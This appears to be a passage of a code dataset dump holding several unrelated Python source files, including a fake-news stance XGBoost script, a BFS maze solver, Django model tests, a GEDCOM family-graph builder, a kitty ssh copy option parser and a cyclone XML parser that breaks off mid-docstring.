right_index=True)\nnew_x_train=new_x_train.iloc[:,0:48]\n\ng_train1=scipy.sparse.csr_matrix(new_x_train)\ng_test1=scipy.sparse.csr_matrix(X_test)\n\nx_train1=hstack([tfidf_x_train12,g_train1])\nx_test1=hstack([x_tfidf1,g_test1])\n\nx_train\n\nmodel_d=xgb.XGBClassifier(random_state=1)\nmodel_d.fit(x_train1, Y_train_3)\nmodel_d.score(x_test1,Y_test_3)\n\npreds_ab=model_d.predict_proba(x_test1)\n\npreds_ab\n\nprediction=pd.DataFrame(preds)\nprediction=prediction.replace({3:'unrelated',0:'agree',2:'discuss',1:'disagree'})\n\nprediction.columns=['Stance']\n\npre1=pd.DataFrame(preds_r)\npre2=pd.DataFrame(preds_d)\npre3=pd.DataFrame(preds_ab)\nprecom=pd.concat([pre1,pre2,pre3],axis=1)\n\nprecom.head()\n\nprecom.columns=['Related','Unrelated','No discuss','Discuss','Disagree','Agree']\nprecom=precom.drop(['Related','No discuss'],axis=1)\n\nprecom\n\ndata2.to_csv(\"testnew3.csv\")\n\ndt=pd.read_csv(\"competition_test_stances.csv\")\nndf=pd.concat([dt,precom],axis=1)\nndf.to_csv(\"results_lat.csv\",index=False)\n\npt=precom\n\npt\n\nlp=[]\nfor b,d,e,f in pt.itertuples(index=False):\n if b>0.5:\n lp.append(3)#('unrelated')\n elif d>0.5:\n lp.append(2)#('discuss')\n elif e>f:\n lp.append(1)#('disagree')\n else:\n lp.append(0)#('agree')\n\nlp=pd.DataFrame(lp)\n\nlp.columns=['Stances']\n\ndt=pd.read_csv(\"data//competition_test_stances_unlabeled.csv\")\nndf=pd.concat([dt,lp],axis=1)\n#ndf.to_csv(\"results_lat2.csv\",index=False)\n\n#print(ndf)\n\ndef scorer(preds):\n sco=[]\n pred1=Y_test.values.ravel()\n #print(accuracy_score(preds,pred1))\n for i in range(len(pred1)):\n if ((pred1[i]==3) & (preds[i]==3)):\n sco.append(0.25)\n elif ((pred1[i]==1) & (preds[i]==1)):\n sco.append(1)\n elif ((pred1[i]==2) & (preds[i]==2)):\n sco.append(1)\n elif ((pred1[i]==0) & (preds[i]==0)):\n sco.append(1)\n elif ((pred1[i]==1) & (preds[i]==2)):\n sco.append(0.25)\n elif ((pred1[i]==1) & (preds[i]==0)):\n sco.append(0.25)\n elif ((pred1[i]==2) & (preds[i]==1)):\n sco.append(0.25)\n elif ((pred1[i]==2) & (preds[i]==0)):\n sco.append(0.25)\n elif ((pred1[i]==0) & (preds[i]==1)):\n sco.append(0.25)\n elif ((pred1[i]==0) & (preds[i]==2)):\n sco.append(0.25)\n return sum(sco),accuracy_score(preds,pred1)\n\npreds=lp\nscorer(preds)\n\n","repo_name":"pals18/Fake-news-challenge-Natural-Language-Processing","sub_path":"Probability_Xgboost_model.py","file_name":"Probability_Xgboost_model.py","file_ext":"py","file_size_in_byte":6395,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"35843158341","text":"import sys\ninput = lambda: sys.stdin.readline().rstrip()\n\nif __name__ == '__main__':\n\tn = int(input())\n\tf = list(map(int, input().split()))\n\tMAX = 14\n\n\tdp = [[0] * (n+1) for _ in range(MAX)]\n\tdp[0] = [0] + f\n\n\tfor i in range(1, MAX):\n\t\tfor j in range(n+1):\n\t\t\tdp[i][j] = dp[i-1][dp[i-1][j]]\n\t\n\tfor _ in range(int(input())):\n\t\tx, k = map(int, input().split())\n\n\t\tfor i in range(MAX):\n\t\t\tif k & (1 << i):\n\t\t\t\tx = dp[i][x]\n\t\n\t\tprint(x)\n\tprint(dp)\n\n'''\n알고리즘:\n\tn을 이진수로 바꾸어 조금 더 빠르게 계산할 수 있다.\n\t예를 들어, 13을 2진수로 바꾸면 1101이다.\n\t즉, 8(2^3) + 4(2^2) + 1(2^0) 이므로\n\t8회 계산한 값을 4회 계산한 값에 1회 계산한 값을 넣으면 된다.\n\t\n\t10,000은 이진수로 변환 시 비트가 14개이므로 MAX를 14로 설정한다.\n\tdp[i][j]는 j를 i레벨에서 계산한 값을 저장한다.\n\n'''","repo_name":"zinnnn37/4-1_Competitive_Programming_and_Practice","sub_path":"week12/q2.py","file_name":"q2.py","file_ext":"py","file_size_in_byte":872,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"6786765570","text":"\"\"\"This is a data template used to communicate between the positionReceiver and the dataFusion module\"\"\"\n\n\nclass PositionData:\n\n def __init__(self):\n self.X = 0 # raw, unscaled x position of the drone\n self.Y = 0 # raw, unscaled y position of the drone\n self.Z = 0 # height of the drone in mm\n self.yaw = 0 # angle in ground plane\n self.pitch = 0 # angle leaning forward/backward\n self.roll = 0 # angle leaning sideways\n self.time1 = 0\n self.time2 = 0\n self.isVisible = False # states if the drone is visible on the camera\n","repo_name":"SmartCity-UAntwerpen/SmartDrone-old","sub_path":"projectdrone/drone/positionData.py","file_name":"positionData.py","file_ext":"py","file_size_in_byte":665,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"13414914724","text":"import array\r\nimport random\r\n\r\narr = array.array(\"i\", [])\r\n\r\na = int(input(\"a=\"))\r\nb = int(input(\"b=\"))\r\n\r\nfor i in range(10):\r\n arr.append(random.randint(a, b))\r\n\r\nelem = []\r\n\r\nprint(arr)\r\n\r\ni = 0\r\nwhile i < len(arr):\r\n if arr[i] in elem:\r\n del arr[i]\r\n else:\r\n elem.append(arr[i])\r\n i += 1\r\n\r\nprint(arr)\r\n","repo_name":"Vlad-Krupchenko/-OTIS-","sub_path":"8.1.py","file_name":"8.1.py","file_ext":"py","file_size_in_byte":337,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"11011956647","text":"\nfrom collections import deque\n\ndr = [-1, 1, 0, 0]\ndc = [0, 0, -1, 1]\n\nN, M = map(int, input().split())\n\nmat = [ list(map(int, input())) for _ in range(N)]\n\nvisited = [[0]*M for _ in range(N)]\ncnt = 0\nqueue = deque()\n\ndef bfs():\n queue.append([0, 0])\n visited[0][0] = 1\n\n while queue:\n r, c = queue.popleft()\n\n # 도착지 검사\n if r == N-1 and c == M-1:\n break; \n\n # 4방 검사\n for i in range(4):\n nr = r + dr[i]\n nc = c + dc[i]\n\n if 0 <= nr < N and 0<= nc < M:\n # 갈 수 있는지 & 방문검사\n if mat[nr][nc] ==1 and visited[nr][nc] == 0:\n visited[nr][nc] = visited[r][c] + 1 \n queue.append([nr, nc])\n \nbfs()\nprint(visited[N-1][M-1])\n\n\n\n","repo_name":"MilanoBeer/Algorithm_Sol","sub_path":"BFS&DFS/BJ_2178_미로탐색.py","file_name":"BJ_2178_미로탐색.py","file_ext":"py","file_size_in_byte":810,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"16932361416","text":"\r\nN = 10 ** 6\r\na = [] * N\r\nx = 0\r\nfor i in range(N):\r\n a.append(float(input()))\r\n if a[i] == 0:\r\n break\r\na.pop()\r\nx = a[i-6]\r\nprint(a)\r\nprint(x)","repo_name":"sasha39612/Algoritm_on_Pyhont_MFTI","sub_path":"Exercise_7_I_MFTI.py","file_name":"Exercise_7_I_MFTI.py","file_ext":"py","file_size_in_byte":157,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"40592205396","text":"from django.db import IntegrityError\nfrom django.db import transaction\nfrom django.test import TestCase\n\nfrom .models import Person\n\n\nclass LiveFieldTests(TestCase):\n\n def test_inits_alive(self):\n o = Person(name='test')\n self.assertTrue(o.live)\n\n def test_saving_retains_alive(self):\n o = Person(name='test')\n o.save()\n o2 = Person.all_objects.get(id=o.id)\n self.assertTrue(o2.live)\n\n def test_saving_retains_dead(self):\n o = Person(name='test')\n o.live = False\n o.save()\n o2 = Person.all_objects.get(id=o.id)\n self.assertFalse(o2.live)\n\n def test_truthy_values_dont_delete(self):\n for name, val in enumerate(['truthy', 11, float(6.0), True, (1, 3)]):\n obj = Person(name=name)\n obj.live = val\n obj.save()\n obj.refresh_from_db()\n # Use 'is' to make sure that we're returning bools.\n self.assertTrue(obj.live is True)\n\n def test_falsy_values_delete(self):\n for name, val in enumerate(['', 0, False, {}, None]):\n obj = Person(name=name)\n obj.live = val\n obj.save()\n obj = Person.all_objects.get(id=obj.id)\n # Again, use 'is' to make sure that we're returning bools.\n self.assertTrue(obj.live is False)\n\n def test_allows_uniqueness_with_many_dead(self):\n first = Person(name='collision')\n first.save()\n second = Person(name='collision')\n # Uniqueness constraint should prevent a second live object with the\n # same name.\n with transaction.atomic():\n self.assertRaises(IntegrityError, second.save)\n\n # Should be able to have several dead objects with same name\n first.live = False\n first.save()\n # Now we can save and delete second\n second.save()\n second.live = False\n second.save()\n\n third = Person(name='collision')\n third.save()\n self.assertEqual(Person.all_objects.count(), 3)\n\n # Resurrecting one of the dead dupes should violate uniqueness\n first.live = True\n with transaction.atomic():\n self.assertRaises(IntegrityError, first.save)\n","repo_name":"hearsaycorp/django-livefield","sub_path":"tests/test_field.py","file_name":"test_field.py","file_ext":"py","file_size_in_byte":2232,"program_lang":"python","lang":"en","doc_type":"code","stars":34,"dataset":"github-code","pt":"21"} +{"seq_id":"16921663282","text":"import random\n\nfrom game.casting.actor import Actor\nfrom game.shared.color import Color\nfrom game.shared.point import Point\n\n\n\nclass Stone(Actor):\n \"\"\"Makes a image of either a stone or a gem for the user to see. \n \n Stones and Gems fall down and if the user hits the correct one they get a point if\n they don't they loose a point\n\n Attributes:\n _text (string): The text to display\n _font_size (int): The font size to use.\n _color (Color): The color of the text.\n _position (Point): The screen coordinates.\n _velocity (Point): The speed and direction.\n _type (string): The type of stone (rock or gem).\n _age (int): Keeps track of the age of the stone.\n \"\"\"\n\n def __init__(self):\n \"\"\"Constructs a new stone\"\"\"\n self._type = \"\"\n self._age = 0\n\n def setup_stone(self, max_y, cast):\n \"\"\"Sets the information for the stone\"\"\"\n self.set_type()\n self.set_font_size(15)\n\n x = random.randint(1, 59)\n y = max_y\n position = Point(x, y)\n self.set_position(position.scale(15))\n\n self.set_velocity(Point(0, 15))\n\n cast.add_actor(\"stones\", self)\n\n def set_type(self):\n \"\"\"Sets the stones type.\n makes selected color for gem and randomizes the other.\n \"\"\"\n random_choice = random.randint(0, 3)\n if random_choice >= 1:\n self._type = \"rock\"\n self._text = \"O\"\n r = random.randint(0, 255)\n g = random.randint(0, 255)\n b = random.randint(0, 255)\n color = Color(r, g, b)\n self.set_color(color)\n\n elif random_choice == 0:\n self._type = \"gem\"\n self._text = \"*\"\n color = Color(255, 0, 0)\n self.set_color(color)\n\n def modify_score(self, score):\n \"\"\"Adds or subtracts a point from the score depending on its type.\n\n Args:\n score (int): The players current score.\n Returns:\n score (int): The players score after touching stone.\n \"\"\"\n if self._type == \"gem\":\n score += 5\n elif self._type == \"rock\":\n score -= 10\n\n return score\n\n def age_stone(self):\n \"\"\"adds age for the stone to move down.\n \n Returns:\n age (int): The age of the stone.\"\"\"\n self._age += 1\n \n return self._age","repo_name":"HalfT/W04_Greed_Tanner","sub_path":"W04/Greed/game/casting/stone.py","file_name":"stone.py","file_ext":"py","file_size_in_byte":2425,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"26061113226","text":"import logging\n\nimport colorlog\nfrom colorlog import ColoredFormatter\n\nhandler = colorlog.StreamHandler()\n\nformatter = ColoredFormatter(\n \"%(log_color)s%(levelname)-7s %(asctime)s.%(msecs)03d%(black)s - [%(name)s] → %(message)s\",\n datefmt=\"%d %b %Y-%H:%M:%S\",\n reset=True,\n log_colors={\n 'DEBUG': 'cyan',\n 'INFO': 'green',\n 'WARNING': 'yellow',\n 'ERROR': 'red',\n 'CRITICAL': 'red,bg_white',\n },\n secondary_log_colors={},\n style='%'\n)\n\nhandler.setFormatter(formatter)\n\nlogging.basicConfig(\n level=logging.DEBUG,\n handlers=[handler]\n)\n\nlogger = colorlog.getLogger('Main logger')\n","repo_name":"HOP-Ubiquitous/walk-a-story-backend","sub_path":"utils/custom_logger.py","file_name":"custom_logger.py","file_ext":"py","file_size_in_byte":641,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"8132623508","text":"# Imports\nfrom gedcom.element.individual import IndividualElement\nfrom gedcom.parser import Parser\n#from dijkstar import Graph, find_path\nimport gedcom.tags\nimport numpy as np\nimport pandas as pd\nimport math\n\n# Parser\ngedcom_parser = Parser()\nfile_path = 'Queen_Eliz_II.ged'\ngedcom_parser = Parser()\ngedcom_parser.parse_file(file_path)\nroot_child_elements = gedcom_parser.get_root_child_elements()\n\n\ndef get_IndivFamily_DataFrame(file_path='Queen_Eliz_II.ged'):\n \"\"\"\n Creates DataFrame of children & spouse families keys of all individuals \n indexed by their keys, from a gedcom file.\n\n Parameters\n ---\n file_path : str\n path of the gedcom file\n\n Returns \n ---\n pd.DataFrame \n dataframe of children & spouse families keys of individuals\n \"\"\"\n gedcom_parser.parse_file(file_path)\n root_child_elements = gedcom_parser.get_root_child_elements()\n \n T = []\n \n #Go through indivduals and get their families\n for element in root_child_elements:\n if isinstance(element, IndividualElement):\n L = [element.get_pointer()]\n for child_element in element.get_child_elements() :\n if child_element.get_tag() == gedcom.tags.GEDCOM_TAG_FAMILY_SPOUSE :\n L += [child_element.get_value()]\n elif child_element.get_tag() == gedcom.tags.GEDCOM_TAG_FAMILY_CHILD :\n L += [child_element.get_value()]\n T += [L]\n\n #Add NaN where information is missing\n full_T = [line+['NaN']*(3-len(line)) for line in T]\n\n #Create the DataFrame\n df = pd.DataFrame(\n {\n 'INDI' : [full_T[k][0] for k in range(len(full_T))],\n 'FAMS' : [full_T[k][1] for k in range(len(full_T))],\n 'FAMC' : [full_T[k][2] for k in range(len(full_T))],\n })\n\n return df\n\n\"\"\"\n# Tests\nprint(get_IndivFamily_DataFrame().head())\ndf = get_IndivFamily_DataFrame()\ndf1 = df.set_index('INDI',inplace=False)\nprint(df1.at['@I11262@','FAMC'])\n\"\"\"\n\n\ndef get_IndivLinks_DataFrame(file_path='Queen_Eliz_II.ged'):\n\n df = get_IndivFamily_DataFrame(file_path)\n\n df1 = df.set_index('INDI',inplace=False)\n\n df2 = pd.DataFrame(\n {\n 'INDI' : df1.index,\n })\n df2['PARENT1'] = np.NaN\n df2.set_index('INDI',inplace=True)\n\n N_childrens_max = 0\n N_siblings_max = 0\n N_uncles_max = 0\n\n for indiv1 in df2.index :\n\n #Parents : FAMC of the character = FAMS of parents\n N_parents = 0\n\n for indiv2 in df[df['FAMS'] == df1.at[f'{indiv1}','FAMC']]['INDI'] :\n N_parents += 1\n df2.at[f'{indiv1}',f'PARENT{N_parents}'] = f'{indiv2}'\n\n #Childrens : FAMS of the character = FAMC of childrens\n N_childrens = 0\n\n for indiv3 in df[df['FAMC'] == df1.at[f'{indiv1}','FAMS']]['INDI'] :\n N_childrens += 1\n if N_childrens > N_childrens_max : N_childrens_max = N_childrens\n df2.at[f'{indiv1}',f'CHILD{N_childrens}'] = f'{indiv3}'\n\n #Siblings : FAMC of character = FAMC of siblings\n N_siblings = 0\n\n for indiv4 in df[df['FAMC'] == df1.at[f'{indiv1}','FAMC']]['INDI'] :\n if indiv4 != indiv1 and df1.at[f'{indiv1}','FAMC'] != 'NaN':\n N_siblings += 1\n if N_siblings > N_siblings_max : N_siblings_max = N_siblings\n df2.at[f'{indiv1}',f'SIBLING{N_siblings}'] = f'{indiv4}'\n\n #Spouse : FAMS of the character = FAMS of spouse\n N_spouse = 0\n\n for indiv6 in df[df['FAMS'] == df1.at[f'{indiv1}','FAMS']]['INDI'] :\n if indiv6 != indiv1 and df1.at[f'{indiv1}','FAMS'] != 'NaN':\n N_spouse += 1\n df2.at[f'{indiv1}',f'SPOUSE{N_spouse}'] = f'{indiv6}'\n\n\n for indiv5 in df2.index :\n \n #Grand parents : parents of the character's parents\n N_gp = 0\n\n for parent in df2.loc[f'{indiv5}',['PARENT1','PARENT2']] :\n if not pd.isna(parent):\n for gparent in df2.loc[f'{parent}',['PARENT1','PARENT2']] :\n if not pd.isna(gparent):\n N_gp += 1\n df2.at[f'{indiv5}',f'GRAND_PARENT{N_gp}'] = f'{gparent}'\n \n #Grand child : childrens of the character's childrens\n N_gc = 0\n\n for child in df2.loc[f'{indiv5}',[f'CHILD{i}' for i in range(1, N_childrens_max + 1)]] :\n if not pd.isna(child):\n for gchild in df2.loc[f'{child}',[f'CHILD{j}' for j in range(1, N_childrens_max + 1)]] :\n if not pd.isna(gchild):\n N_gc += 1\n df2.at[f'{indiv5}',f'GRAND_CHILD{N_gc}'] = f'{gchild}'\n \n #Nephews : childrens of the character's siblings\n N_nephews = 0\n\n for sibling in df2.loc[f'{indiv5}',[f'SIBLING{k}' for k in range(1, N_siblings_max + 1)]] :\n if not pd.isna(sibling):\n for child in df2.loc[f'{sibling}',[f'CHILD{l}' for l in range(1, N_childrens_max + 1)]] :\n if not pd.isna(child):\n N_nephews += 1\n df2.at[f'{indiv5}',f'NEPHEW{N_nephews}'] = f'{child}'\n\n #Uncles & aunts : siblings of the character's parents\n N_uncles = 0\n\n for parent in df2.loc[f'{indiv5}',[f'PARENT{m}' for m in range(1, 3)]] :\n if not pd.isna(parent):\n for sibling in df2.loc[f'{parent}',[f'SIBLING{n}' for n in range(1, N_siblings_max + 1)]] :\n if not pd.isna(sibling):\n N_uncles += 1\n if N_uncles > N_uncles_max : N_uncles_max = N_uncles\n df2.at[f'{indiv5}',f'UNCLE{N_uncles}'] = f'{sibling}'\n \n\n for indiv7 in df2.index :\n\n #Cousins : childrens of the charcter's uncles & aunts\n N_cousin = 0\n\n for uncle in df2.loc[f'{indiv7}',[f'UNCLE{m}' for m in range(1, N_uncles_max + 1)]] :\n if not pd.isna(uncle) :\n for children in df2.loc[f'{uncle}', [f'CHILD{o}' for o in range(1, N_childrens_max + 1)]] :\n if not pd.isna(children):\n N_cousin += 1\n df2.at[f'{indiv6}', f'COUSIN{N_cousin}'] = f'{children}'\n\n\n df2 = df2.reindex(sorted(df2.columns), axis=1)\n return df2\n\n\n\"\"\"\n# Tests\npd.set_option('display.max_rows', 50)\npd.set_option('display.max_columns', None)\nprint(get_IndivLinks_DataFrame().head())\n\"\"\"\n\n\ndistances = {'parent' : 2, \n 'spouse' : 1,\n 'sibling' : 2, \n 'grandparent' : 3,\n 'grandchild' : 3, \n 'nephew' : 3, \n 'uncle' : 3,\n 'cousin' : 3,\n 'child' : 2\n }\n\ndef graph_value(col) :\n \"\"\"\n Gives the correct tuple value in the graph\n\n Parameters \n ---\n d : int\n distance \n col : string\n family link\n\n Returns\n ---\n Couple\n (int,string)\n (distance, family link)\n \n \"\"\"\n \n link = \"\"\n for i in range(len(str(col))-1) :\n if col[i] != \"_\" :\n link += col[i].lower()\n d = distances[link]\n return d,link\n \n\n\ndef build_IndGraph(file_path='Queen_Eliz_II.ged'):\n \"\"\"\n Builds a graph in the form of a dictionnary\n \n Returns\n ---\n Dictionnary\n dictionnary of dictionnaries\n values are couples (int,string)\n \"\"\"\n g = {}\n df = get_IndivLinks_DataFrame(file_path)\n\n for IND1 in df.index :\n g[IND1] = {}\n for column in df.columns :\n INDI2 = df.at[f'{IND1}',column]\n if not pd.isna(INDI2) :\n g[IND1][INDI2] = graph_value(column)\n return g\n\n\"\"\"\n# Test : graph creation\ngraph = build_IndGraph()\nprint(graph)\n\"\"\"","repo_name":"Aliceodyssee/projet_informatique_famille","sub_path":"Old code/graph_creation.py","file_name":"graph_creation.py","file_ext":"py","file_size_in_byte":7682,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"10893478286","text":"import glob\nimport os\nimport shlex\nimport uuid\nfrom typing import (\n Dict, Iterable, Iterator, List, NamedTuple, Optional, Sequence, Tuple\n)\n\nfrom kitty.cli import parse_args\nfrom kitty.cli_stub import CopyCLIOptions\nfrom kitty.types import run_once\n\nfrom ..transfer.utils import expand_home, home_path\n\n\n@run_once\ndef option_text() -> str:\n return '''\n--glob\ntype=bool-set\nInterpret file arguments as glob patterns.\n\n\n--dest\nThe destination on the remote host to copy to. Relative paths are resolved\nrelative to HOME on the remote host. When this option is not specified, the\nlocal file path is used as the remote destination (with the HOME directory\ngetting automatically replaced by the remote HOME). Note that environment\nvariables and ~ are not expanded.\n\n\n--exclude\ntype=list\nA glob pattern. Files with names matching this pattern are excluded from being\ntransferred. Useful when adding directories. Can\nbe specified multiple times, if any of the patterns match the file will be\nexcluded. To exclude a directory use a pattern like */directory_name/*.\n\n\n--symlink-strategy\ndefault=preserve\nchoices=preserve,resolve,keep-path\nControl what happens if the specified path is a symlink. The default is to preserve\nthe symlink, re-creating it on the remote machine. Setting this to :code:`resolve`\nwill cause the symlink to be followed and its target used as the file/directory to copy.\nThe value of :code:`keep-path` is the same as :code:`resolve` except that the remote\nfile path is derived from the symlink's path instead of the path of the symlink's target.\nNote that this option does not apply to symlinks encountered while recursively copying directories.\n'''\n\n\ndef parse_copy_args(args: Optional[Sequence[str]] = None) -> Tuple[CopyCLIOptions, List[str]]:\n args = list(args or ())\n try:\n opts, args = parse_args(result_class=CopyCLIOptions, args=args, ospec=option_text)\n except SystemExit as e:\n raise CopyCLIError from e\n return opts, args\n\n\ndef resolve_file_spec(spec: str, is_glob: bool) -> Iterator[str]:\n ans = os.path.expandvars(expand_home(spec))\n if not os.path.isabs(ans):\n ans = expand_home(f'~/{ans}')\n if is_glob:\n files = glob.glob(ans)\n if not files:\n raise CopyCLIError(f'{spec} does not exist')\n else:\n if not os.path.exists(ans):\n raise CopyCLIError(f'{spec} does not exist')\n files = [ans]\n for x in files:\n yield os.path.normpath(x).replace(os.sep, '/')\n\n\nclass CopyCLIError(ValueError):\n pass\n\n\ndef get_arcname(loc: str, dest: Optional[str], home: str) -> str:\n if dest:\n arcname = dest\n else:\n arcname = os.path.normpath(loc)\n if arcname.startswith(home):\n arcname = os.path.relpath(arcname, home)\n arcname = os.path.normpath(arcname).replace(os.sep, '/')\n prefix = 'root' if arcname.startswith('/') else 'home/'\n return prefix + arcname\n\n\nclass CopyInstruction(NamedTuple):\n local_path: str\n arcname: str\n exclude_patterns: Tuple[str, ...]\n\n\ndef parse_copy_instructions(val: str, current_val: Dict[str, str]) -> Iterable[Tuple[str, CopyInstruction]]:\n opts, args = parse_copy_args(shlex.split(val))\n locations: List[str] = []\n for a in args:\n locations.extend(resolve_file_spec(a, opts.glob))\n if not locations:\n raise CopyCLIError('No files to copy specified')\n if len(locations) > 1 and opts.dest:\n raise CopyCLIError('Specifying a remote location with more than one file is not supported')\n home = home_path()\n for loc in locations:\n if opts.symlink_strategy != 'preserve':\n rp = os.path.realpath(loc)\n else:\n rp = loc\n arcname = get_arcname(rp if opts.symlink_strategy == 'resolve' else loc, opts.dest, home)\n yield str(uuid.uuid4()), CopyInstruction(rp, arcname, tuple(opts.exclude))\n","repo_name":"dominikb1888/.dotfiles","sub_path":"Applications/Home Manager Apps/kitty.app/Contents/Resources/kitty/kittens/ssh/copy.py","file_name":"copy.py","file_ext":"py","file_size_in_byte":3880,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"21"} +{"seq_id":"40976396483","text":"\"\"\"\npycxml - A python translator for Cyclone XML (cxml)\n\n\n\"\"\"\n\nimport os\nimport sys\nfrom itertools import product\nfrom datetime import datetime\n\nimport numpy as np\nimport pandas as pd\nimport xml.etree.ElementTree as ET\n\nimport logging as log\n\nfrom validator import Validator, CXML_SCHEMA\nfrom converter import convert\n\n\nDATEFMT = \"%Y-%m-%dT%H:%M:%SZ\"\nFORECAST_COLUMNS = [\"disturbance\", \"validtime\", \"latitude\",\n \"longitude\", \"pcentre\", \"windspeed\", \"rmax\", \"poci\"]\nENSEMBLE_COLUMNS = [\"disturbance\", \"member\", \"validtime\", \"latitude\",\n \"longitude\", \"pcentre\", \"windspeed\", \"rmax\", \"poci\"]\n\nRADII_COLUMNS = ['R34NEQ', 'R34SEQ', 'R34SWQ', 'R34NWQ',\n 'R48NEQ', 'R48SEQ', 'R48SWQ', 'R48NWQ',\n 'R64NEQ', 'R64SEQ', 'R64SWQ', 'R64NWQ']\n\n\ndef validate(xmlfile):\n \"\"\"\n Validate an xml file with a given xsd schema definition\n\n :param str xmlfile: The XML file to validate\n\n :returns: True if `xmlfile` is a valid xml file based on the\n default CXML XSD definition\n\n \"\"\"\n validator = Validator(CXML_SCHEMA)\n validator.validate(xmlfile)\n return\n\n\ndef parsePosition(lonelem, latelem):\n \"\"\"\n Parse the positional elements to ensure correct geographical coordinates\n The CXML schema allows for various units of N/S and E/W, so need to use\n caution to ensure they are correctly parsed.\n\n :param lonelem: :class:`xml.etree.ElementTree.Element` containing\n longitudinal position information\n\n :param latelem: :class:`xml.etree.ElementTree.Element` containing\n latitudinal position information\n\n :returns: :tuple: (lon, lat) in geographical coordinates.\n (longitude (0, 360], latitude (-90, 90))\n\n :note: No checking of the units attribute is performed here. We assume any\n invalid values are captured by validating against the schema definition.\n \"\"\"\n\n latvalue = float(latelem.text)\n latunits = latelem.attrib['units']\n latvalue = -latvalue if latunits == 'deg S' else latvalue\n\n lonvalue = float(lonelem.text)\n lonunits = lonelem.attrib['units']\n lonvalue = -lonvalue if lonunits == 'deg W' else lonvalue\n lonvalue = np.mod(lonvalue, 360)\n\n return (lonvalue, latvalue)\n\n\ndef getMSLP(fix, units='hPa'):\n \"\"\"\n From a `fix` element, extract the minimum pressure and return the value,\n converted to hPa. We make the assumption that the `units` attribute exists\n in the file (it is a required attribute of the `pressure` element in the\n XSD).\n\n :param fix: :class:`xml.etree.ElementTree.element` containing details of a\n disturbance fix\n :param str units: output units (default \"hPa\")\n :returns: Minimum pressure, in specified units, if it exists. None\n otherwise.\n \"\"\"\n mslpelem = fix.find('./cycloneData/minimumPressure/pressure')\n if mslpelem is not None:\n mslp = float(mslpelem.text)\n inunits = mslpelem.attrib['units']\n return convert(mslp, inunits, units)\n else:\n # log.warning(\"No minimum pressure data in this fix\")\n return None\n\n\ndef getWindSpeed(fix, units='km/h'):\n \"\"\"\n From a `fix` element, extract the maximum wind speed and return the value,\n converted to the given units.\n\n :param fix: :class:`xml.etree.ElementTree.element` containing details of a\n disturbance fix\n :param str units: Units to convert maximum wind speed value to.\n\n :returns: maximum wind speed, in given units, if it exists. None otherwise.\n \"\"\"\n windelem = fix.find('./cycloneData/maximumWind/speed')\n if windelem is not None:\n wind = float(windelem.text)\n inunits = windelem.attrib['units']\n return convert(wind, inunits, units)\n else:\n log.warning(\"No maximum wind speed data in this fix\")\n return None\n\n\ndef getPoci(fix):\n \"\"\"\n From a `fix` element, extract the pressure of the outermost closed isobar,\n if it exists, and return the value, converted to hPa.\n\n :param fix: :class:`xml.etree.ElementTree.element` containing details of a\n disturbance fix\n\n :returns: Pressure of outermost closed isobar, in hPa, if it exists. None\n otherwise.\n \"\"\"\n pocielem = fix.find('./cycloneData/lastClosedIsobar/pressure')\n if pocielem is not None:\n poci = float(pocielem.text)\n units = pocielem.attrib['units']\n return convert(poci, units, 'hPa')\n else:\n # log.warning(\"No pressure of outer isobar data in this fix\")\n return None\n\n\ndef getRmax(fix):\n \"\"\"\n From a `fix` element, determine radius to maximum winds and return value\n converted to km\n\n :param fix: :class:`xml.etree.ElementTree.element` containing details of a\n disturbance fix\n\n :returns: Radius to maximum winds, in km\n \"\"\"\n\n rmwelem = fix.find('./cycloneData/maximumWind/radius')\n if rmwelem is not None:\n rmw = float(rmwelem.text)\n units = rmwelem.attrib['units']\n return convert(rmw, units, 'km')\n else:\n log.warning(\"No rmw data in this fix\")\n return None\n\n\ndef parseFix(fix):\n \"\"\"\n `fix` is a single CXML fix element that describes the position of a\n disturbance at a particular time.\n\n :param fix: :class:`xml.etree.ElementTree.element` containing details of a\n disturbance fix.\n\n :returns: :class:`dict`\n \"\"\"\n\n # This is strictly not a mandatory atttribute\n # hour = int(fix.attrib['hour'])\n\n # These are the only two mandatory elements of a fix.\n # Every other element is optional\n fixdata = {}\n fixdata['validtime'] = getHeaderTime(fix, 'validTime')\n fixdata['longitude'], fixdata['latitude'] = parsePosition(\n fix.find('longitude'), fix.find('latitude'))\n\n # Other elements, may not be present:\n fixdata['pcentre'] = getMSLP(fix)\n fixdata['windspeed'] = getWindSpeed(fix)\n fixdata['rmax'] = getRmax(fix)\n fixdata['poci'] = getPoci(fix)\n series = pd.Series(fixdata, index=FORECAST_COLUMNS)\n if fix.find('./cycloneData/windContours'):\n windradii = getWindContours(fix)\n fixdata = pd.concat([series, windradii])\n series = pd.Series(fixdata, index=FORECAST_COLUMNS+RADII_COLUMNS)\n\n return series\n\n\ndef getWindContours(fix):\n \"\"\"\n :param fix: :class:`xml.etree.ElementTree.element` containing\n details of the wind contours element of a disturbance fix.\n \"\"\"\n data = {}\n for elem in fix.findall('cycloneData/windContours/windSpeed'):\n mag = int(float(elem.text))\n for r in elem.findall('radius'):\n quadrant = r.attrib['sector']\n distance = float(r.text)\n data[f\"R{mag:d}{quadrant}\"] = distance\n return pd.Series(data, index=RADII_COLUMNS)\n\n\ndef getHeaderTime(header, field=\"baseTime\"):\n \"\"\"\n Determine the base time of the forecast from the header information.\n There are two times that can be included in the header - the `creationTime`\n and the `baseTime`. `creationTime` is mandatory, `baseTime` is optional.\n\n `creationTime` is the date/time the data was created.\n `baseTime` is the reference time for an analysis or forecast - i.e. when\n the forecast was initialised, or the analysis was valid.\n\n :param header: :class:`xml.etree.ElementTree.Element` containing header\n information for the CXML file being processed.\n\n :returns: :class:`datetime` object for the requested field. If `baseTime`\n was requested and does not exist, returns 